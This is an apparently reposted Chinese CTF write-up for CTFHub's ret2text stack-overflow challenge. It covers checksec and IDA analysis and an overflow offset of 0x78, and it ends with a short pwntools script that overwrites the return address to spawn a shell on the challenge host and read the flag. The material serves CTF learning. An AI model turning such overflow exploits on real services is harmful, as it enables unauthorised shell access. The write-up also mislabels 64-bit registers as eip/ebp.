PWN做题笔记1-ret2text

PWN做题笔记1-ret2text,第1张

原题位置:CTFHub

题目属于栈溢出

给出了地址和端口,压缩包中有一个二进制程序pwn

file pwn可以看到是64位ELF程序

checksec发现没有开启地址空间随机化机制

程序运行如下:

 ida64反汇编,发现输入没有边界检查,存在注入

secure函数调用了system返回一个服务器里的shell,因此目标是调用这个函数

 

 函数地址如下:

 main函数栈结构如下:

 目标是覆盖掉存储eip的位置,地址偏移为0x70+8,这部分覆盖为“A”,之后ebp覆盖为0x4007B8

因此输入:b'A' * 0x78 + p64(0x4007b8)

 同pwntools编写脚本:

from pwn import *
host = 'challenge-ff699f909c1e3503.sandbox.ctfhub.com'
port = 37126

p = connect(host, port)
payload = b'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()

运行获取了服务器中的shell,ls发现flag文件,cat获取flag

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/993092.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存